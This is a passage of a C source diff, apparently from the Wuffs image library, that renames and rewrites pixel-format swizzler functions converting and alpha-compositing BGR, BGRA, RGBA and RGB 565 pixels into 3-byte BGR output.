-- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -+wuffs_private_impl__swizzle_bgr__bgr_565(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len3 = dst_len / 3; - size_t src_len2 = src_len / 2; -- size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; -+ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -+ // TODO: unroll. -+ - while (n >= 1) { -- wuffs_base__poke_u64le__no_bounds_check( -- d + (0 * 8), -- wuffs_base__color_u32__as__color_u64( -- wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( -- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); -+ uint32_t s0 = wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( -+ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))); -+ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); - - s += 1 * 2; -- d += 1 * 8; -+ d += 1 * 3; - n -= 1; - } - -@@ -22831,87 +23973,46 @@ wuffs_base__pixel_swizzler__bgrw_4x16le__bgr_565(uint8_t* dst_ptr, - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgrw_4x16le__bgrx(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -+wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len3 = dst_len / 3; - size_t src_len4 = src_len / 4; -- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -- while (n >= 1) { -- uint8_t s0 = s[0]; -- uint8_t s1 = s[1]; -- uint8_t s2 = s[2]; -- d[0] = s0; -- d[1] = s0; -- d[2] = s1; -- d[3] = s1; -- d[4] = s2; -- d[5] = s2; -- d[6] = 0xFF; -- d[7] = 0xFF; -- -- s += 1 * 4; -- d += 1 * 8; -- n -= 1; -- } -- -- return len; --} -- --static uint64_t // --wuffs_base__pixel_swizzler__bgrw_4x16le__rgb(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -- size_t src_len3 = src_len / 3; -- size_t len = (dst_len8 < src_len3) ? dst_len8 : src_len3; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ // TODO: unroll. - - while (n >= 1) { -- uint8_t s0 = s[0]; -- uint8_t s1 = s[1]; -- uint8_t s2 = s[2]; -- d[0] = s2; -- d[1] = s2; -- d[2] = s1; -- d[3] = s1; -- d[4] = s0; -- d[5] = s0; -- d[6] = 0xFF; -- d[7] = 0xFF; -+ uint32_t s0 = -+ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -+ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); - -- s += 1 * 3; -- d += 1 * 8; -+ s += 1 * 4; -+ d += 1 * 3; - n -= 1; - } - - return len; - } - --// -------- -- - static uint64_t // --wuffs_base__pixel_swizzler__rgb__bgr_565(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -+wuffs_private_impl__swizzle_bgr__bgra_nonpremul_4x16le__src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { - size_t dst_len3 = dst_len / 3; -- size_t src_len2 = src_len / 2; -- size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; -+ size_t src_len8 = src_len / 8; -+ size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22919,13 +24020,12 @@ wuffs_base__pixel_swizzler__rgb__bgr_565(uint8_t* dst_ptr, - // TODO: unroll. - - while (n >= 1) { -- wuffs_base__poke_u24le__no_bounds_check( -- d + (0 * 3), -- wuffs_base__swap_u32_argb_abgr( -- wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( -- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); -+ uint32_t s0 = -+ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( -+ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); -+ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); - -- s += 1 * 2; -+ s += 1 * 8; - d += 1 * 3; - n -= 1; - } -@@ -22933,154 +24033,200 @@ wuffs_base__pixel_swizzler__rgb__bgr_565(uint8_t* dst_ptr, - return len; - } - --// -------- -- - static uint64_t // --wuffs_base__pixel_swizzler__rgba_nonpremul__bgra_nonpremul_4x16le__src( -+wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src_over( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, - const uint8_t* src_ptr, - size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len8 = src_len / 8; -- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -+ size_t dst_len3 = dst_len / 3; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; -- - size_t n = len; -+ -+ // TODO: unroll. -+ - while (n >= 1) { -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), wuffs_base__color_u64__as__color_u32__swap_u32_argb_abgr( -- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); -+ // Extract 16-bit color components. -+ uint32_t dr = 0x101 * ((uint32_t)d[2]); -+ uint32_t dg = 0x101 * ((uint32_t)d[1]); -+ uint32_t db = 0x101 * ((uint32_t)d[0]); -+ uint32_t sa = 0x101 * ((uint32_t)s[3]); -+ uint32_t sr = 0x101 * ((uint32_t)s[2]); -+ uint32_t sg = 0x101 * ((uint32_t)s[1]); -+ uint32_t sb = 0x101 * ((uint32_t)s[0]); - -- s += 1 * 8; -- d += 1 * 4; -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; -+ -+ // Composite src (nonpremul) over dst (premul). -+ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -+ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -+ db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ -+ // Convert from 16-bit color to 8-bit color. -+ d[0] = (uint8_t)(db >> 8); -+ d[1] = (uint8_t)(dg >> 8); -+ d[2] = (uint8_t)(dr >> 8); -+ -+ s += 1 * 4; -+ d += 1 * 3; - n -= 1; - } -+ - return len; - } - - static uint64_t // --wuffs_base__pixel_swizzler__rgba_nonpremul__bgra_nonpremul_4x16le__src_over( -+wuffs_private_impl__swizzle_bgr__bgra_nonpremul_4x16le__src_over( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, - const uint8_t* src_ptr, - size_t src_len) { -- size_t dst_len4 = dst_len / 4; -+ size_t dst_len3 = dst_len / 3; - size_t src_len8 = src_len / 8; -- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -+ size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -+ // TODO: unroll. -+ - while (n >= 1) { -- uint64_t d0 = wuffs_base__color_u32__as__color_u64( -- wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); -- uint64_t s0 = wuffs_base__swap_u64_argb_abgr( -- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- wuffs_base__color_u64__as__color_u32( -- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0))); -+ // Extract 16-bit color components. -+ uint32_t dr = 0x101 * ((uint32_t)d[2]); -+ uint32_t dg = 0x101 * ((uint32_t)d[1]); -+ uint32_t db = 0x101 * ((uint32_t)d[0]); -+ uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); -+ uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); -+ uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); -+ uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); -+ -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; -+ -+ // Composite src (nonpremul) over dst (premul). -+ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -+ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -+ db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ -+ // Convert from 16-bit color to 8-bit color. -+ d[0] = (uint8_t)(db >> 8); -+ d[1] = (uint8_t)(dg >> 8); -+ d[2] = (uint8_t)(dr >> 8); - - s += 1 * 8; -- d += 1 * 4; -+ d += 1 * 3; - n -= 1; - } - - return len; - } - --// -------- -- - static uint64_t // --wuffs_base__pixel_swizzler__rgbw__bgr_565(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len2 = src_len / 2; -- size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; -+wuffs_private_impl__swizzle_bgr__bgra_premul__src(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len3 = dst_len / 3; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -- // TODO: unroll. -- - while (n >= 1) { -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- wuffs_base__swap_u32_argb_abgr( -- wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( -- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); -+ uint8_t s0 = s[0]; -+ uint8_t s1 = s[1]; -+ uint8_t s2 = s[2]; -+ d[0] = s0; -+ d[1] = s1; -+ d[2] = s2; - -- s += 1 * 2; -- d += 1 * 4; -+ s += 1 * 4; -+ d += 1 * 3; - n -= 1; - } - - return len; - } - --// -------- -- - static uint64_t // --wuffs_base__pixel_swizzler__xxx__index__src(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- if (dst_palette_len != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return 0; -- } -+wuffs_private_impl__swizzle_bgr__bgra_premul__src_over(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { - size_t dst_len3 = dst_len / 3; -- size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -- const size_t loop_unroll_count = 4; -+ while (n >= 1) { -+ // Extract 16-bit color components. -+ uint32_t dr = 0x101 * ((uint32_t)d[2]); -+ uint32_t dg = 0x101 * ((uint32_t)d[1]); -+ uint32_t db = 0x101 * ((uint32_t)d[0]); -+ uint32_t sa = 0x101 * ((uint32_t)s[3]); -+ uint32_t sr = 0x101 * ((uint32_t)s[2]); -+ uint32_t sg = 0x101 * ((uint32_t)s[1]); -+ uint32_t sb = 0x101 * ((uint32_t)s[0]); - -- // The comparison in the while condition is ">", not ">=", because with -- // ">=", the last 4-byte store could write past the end of the dst slice. -- // -- // Each 4-byte store writes one too many bytes, but a subsequent store -- // will overwrite that with the correct byte. There is always another -- // store, whether a 4-byte store in this loop or a 1-byte store in the -- // next loop. -- while (n > loop_unroll_count) { -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 3), wuffs_base__peek_u32le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[0] * 4))); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (1 * 3), wuffs_base__peek_u32le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[1] * 4))); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (2 * 3), wuffs_base__peek_u32le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[2] * 4))); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (3 * 3), wuffs_base__peek_u32le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[3] * 4))); -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; - -- s += loop_unroll_count * 1; -- d += loop_unroll_count * 3; -- n -= loop_unroll_count; -+ // Composite src (premul) over dst (premul). -+ dr = sr + ((dr * ia) / 0xFFFF); -+ dg = sg + ((dg * ia) / 0xFFFF); -+ db = sb + ((db * ia) / 0xFFFF); -+ -+ // Convert from 16-bit color to 8-bit color. -+ d[0] = (uint8_t)(db >> 8); -+ d[1] = (uint8_t)(dg >> 8); -+ d[2] = (uint8_t)(dr >> 8); -+ -+ s += 1 * 4; -+ d += 1 * 3; -+ n -= 1; - } - -+ return len; -+} -+ -+static uint64_t // -+wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len3 = dst_len / 3; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; -+ -+ // TODO: unroll. -+ - while (n >= 1) { -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[0] * 4)); -+ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); - wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); - -- s += 1 * 1; -+ s += 1 * 4; - d += 1 * 3; - n -= 1; - } -@@ -23089,19 +24235,16 @@ wuffs_base__pixel_swizzler__xxx__index__src(uint8_t* dst_ptr, - } - - static uint64_t // --wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over( -+wuffs_private_impl__swizzle_bgr__rgba_nonpremul_4x16le__src( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, - const uint8_t* src_ptr, - size_t src_len) { -- if (dst_palette_len != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return 0; -- } - size_t dst_len3 = dst_len / 3; -- size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; -+ size_t src_len8 = src_len / 8; -+ size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -23109,14 +24252,12 @@ wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over( - // TODO: unroll. - - while (n >= 1) { -- uint32_t d0 = -- wuffs_base__peek_u24le__no_bounds_check(d + (0 * 3)) | 0xFF000000; -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[0] * 4)); -- wuffs_base__poke_u24le__no_bounds_check( -- d + (0 * 3), wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0)); -+ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( -+ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); -+ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); - -- s += 1 * 1; -+ s += 1 * 8; - d += 1 * 3; - n -= 1; - } -@@ -23125,60 +24266,46 @@ wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over( - } - - static uint64_t // --wuffs_base__pixel_swizzler__xxx__index_binary_alpha__src_over( -+wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src_over( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, - const uint8_t* src_ptr, - size_t src_len) { -- if (dst_palette_len != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return 0; -- } - size_t dst_len3 = dst_len / 3; -- size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -- const size_t loop_unroll_count = 4; -+ // TODO: unroll. - -- while (n >= loop_unroll_count) { -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[0] * 4)); -- if (s0) { -- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); -- } -- uint32_t s1 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[1] * 4)); -- if (s1) { -- wuffs_base__poke_u24le__no_bounds_check(d + (1 * 3), s1); -- } -- uint32_t s2 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[2] * 4)); -- if (s2) { -- wuffs_base__poke_u24le__no_bounds_check(d + (2 * 3), s2); -- } -- uint32_t s3 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[3] * 4)); -- if (s3) { -- wuffs_base__poke_u24le__no_bounds_check(d + (3 * 3), s3); -- } -+ while (n >= 1) { -+ // Extract 16-bit color components. -+ uint32_t dr = 0x101 * ((uint32_t)d[2]); -+ uint32_t dg = 0x101 * ((uint32_t)d[1]); -+ uint32_t db = 0x101 * ((uint32_t)d[0]); -+ uint32_t sa = 0x101 * ((uint32_t)s[3]); -+ uint32_t sb = 0x101 * ((uint32_t)s[2]); -+ uint32_t sg = 0x101 * ((uint32_t)s[1]); -+ uint32_t sr = 0x101 * ((uint32_t)s[0]); - -- s += loop_unroll_count * 1; -- d += loop_unroll_count * 3; -- n -= loop_unroll_count; -- } -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; - -- while (n >= 1) { -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[0] * 4)); -- if (s0) { -- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); -- } -+ // Composite src (nonpremul) over dst (premul). -+ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -+ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -+ db = ((sb * sa) + (db * ia)) / 0xFFFF; - -- s += 1 * 1; -+ // Convert from 16-bit color to 8-bit color. -+ d[0] = (uint8_t)(db >> 8); -+ d[1] = (uint8_t)(dg >> 8); -+ d[2] = (uint8_t)(dr >> 8); -+ -+ s += 1 * 4; - d += 1 * 3; - n -= 1; - } -@@ -23187,15 +24314,16 @@ wuffs_base__pixel_swizzler__xxx__index_binary_alpha__src_over( - } - - static uint64_t // --wuffs_base__pixel_swizzler__xxx__xxxx(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -+wuffs_private_impl__swizzle_bgr__rgba_nonpremul_4x16le__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { - size_t dst_len3 = dst_len / 3; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; -+ size_t src_len8 = src_len / 8; -+ size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -23203,10 +24331,29 @@ wuffs_base__pixel_swizzler__xxx__xxxx(uint8_t* dst_ptr, - // TODO: unroll. - - while (n >= 1) { -- wuffs_base__poke_u24le__no_bounds_check( -- d + (0 * 3), wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -+ // Extract 16-bit color components. -+ uint32_t dr = 0x101 * ((uint32_t)d[2]); -+ uint32_t dg = 0x101 * ((uint32_t)d[1]); -+ uint32_t db = 0x101 * ((uint32_t)d[0]); -+ uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); -+ uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); -+ uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); -+ uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); - -- s += 1 * 4; -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; -+ -+ // Composite src (nonpremul) over dst (premul). -+ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -+ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -+ db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ -+ // Convert from 16-bit color to 8-bit color. -+ d[0] = (uint8_t)(db >> 8); -+ d[1] = (uint8_t)(dg >> 8); -+ d[2] = (uint8_t)(dr >> 8); -+ -+ s += 1 * 8; - d += 1 * 3; - n -= 1; - } -@@ -23215,27 +24362,28 @@ wuffs_base__pixel_swizzler__xxx__xxxx(uint8_t* dst_ptr, - } - - static uint64_t // --wuffs_base__pixel_swizzler__xxx__y(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -+wuffs_private_impl__swizzle_bgr__rgba_premul__src(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { - size_t dst_len3 = dst_len / 3; -- size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -- // TODO: unroll. -- - while (n >= 1) { - uint8_t s0 = s[0]; -- d[0] = s0; -- d[1] = s0; -+ uint8_t s1 = s[1]; -+ uint8_t s2 = s[2]; -+ d[0] = s2; -+ d[1] = s1; - d[2] = s0; - -- s += 1 * 1; -+ s += 1 * 4; - d += 1 * 3; - n -= 1; - } -@@ -23244,28 +24392,43 @@ wuffs_base__pixel_swizzler__xxx__y(uint8_t* dst_ptr, - } - - static uint64_t // --wuffs_base__pixel_swizzler__xxx__y_16be(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -+wuffs_private_impl__swizzle_bgr__rgba_premul__src_over(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { - size_t dst_len3 = dst_len / 3; -- size_t src_len2 = src_len / 2; -- size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -- // TODO: unroll. -- - while (n >= 1) { -- uint8_t s0 = s[0]; -- d[0] = s0; -- d[1] = s0; -- d[2] = s0; -+ // Extract 16-bit color components. -+ uint32_t dr = 0x101 * ((uint32_t)d[2]); -+ uint32_t dg = 0x101 * ((uint32_t)d[1]); -+ uint32_t db = 0x101 * ((uint32_t)d[0]); -+ uint32_t sa = 0x101 * ((uint32_t)s[3]); -+ uint32_t sb = 0x101 * ((uint32_t)s[2]); -+ uint32_t sg = 0x101 * ((uint32_t)s[1]); -+ uint32_t sr = 0x101 * ((uint32_t)s[0]); - -- s += 1 * 2; -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; -+ -+ // Composite src (premul) over dst (premul). -+ dr = sr + ((dr * ia) / 0xFFFF); -+ dg = sg + ((dg * ia) / 0xFFFF); -+ db = sb + ((db * ia) / 0xFFFF); -+ -+ // Convert from 16-bit color to 8-bit color. -+ d[0] = (uint8_t)(db >> 8); -+ d[1] = (uint8_t)(dg >> 8); -+ d[2] = (uint8_t)(dr >> 8); -+ -+ s += 1 * 4; - d += 1 * 3; - n -= 1; - } -@@ -23273,114 +24436,63 @@ wuffs_base__pixel_swizzler__xxx__y_16be(uint8_t* dst_ptr, - return len; - } - --// -------- -- - static uint64_t // --wuffs_base__pixel_swizzler__xxxx__index__src(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- if (dst_palette_len != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return 0; -- } -- size_t dst_len4 = dst_len / 4; -- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; -+wuffs_private_impl__swizzle_bgr__rgbx(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len3 = dst_len / 3; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -- const size_t loop_unroll_count = 4; -- -- while (n >= loop_unroll_count) { -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), wuffs_base__peek_u32le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[0] * 4))); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (1 * 4), wuffs_base__peek_u32le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[1] * 4))); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (2 * 4), wuffs_base__peek_u32le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[2] * 4))); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (3 * 4), wuffs_base__peek_u32le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[3] * 4))); -- -- s += loop_unroll_count * 1; -- d += loop_unroll_count * 4; -- n -= loop_unroll_count; -- } -+ // TODO: unroll. - - while (n >= 1) { -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), wuffs_base__peek_u32le__no_bounds_check( -- dst_palette_ptr + ((size_t)s[0] * 4))); -+ uint8_t b0 = s[0]; -+ uint8_t b1 = s[1]; -+ uint8_t b2 = s[2]; -+ d[0] = b2; -+ d[1] = b1; -+ d[2] = b0; - -- s += 1 * 1; -- d += 1 * 4; -+ s += 1 * 4; -+ d += 1 * 3; - n -= 1; - } - - return len; - } - -+// -------- -+ - static uint64_t // --wuffs_base__pixel_swizzler__xxxx__index_binary_alpha__src_over( -+wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul__src_over( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, - const uint8_t* src_ptr, - size_t src_len) { -- if (dst_palette_len != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return 0; -- } - size_t dst_len4 = dst_len / 4; -- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -- const size_t loop_unroll_count = 4; -- -- while (n >= loop_unroll_count) { -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[0] * 4)); -- if (s0) { -- wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); -- } -- uint32_t s1 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[1] * 4)); -- if (s1) { -- wuffs_base__poke_u32le__no_bounds_check(d + (1 * 4), s1); -- } -- uint32_t s2 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[2] * 4)); -- if (s2) { -- wuffs_base__poke_u32le__no_bounds_check(d + (2 * 4), s2); -- } -- uint32_t s3 = 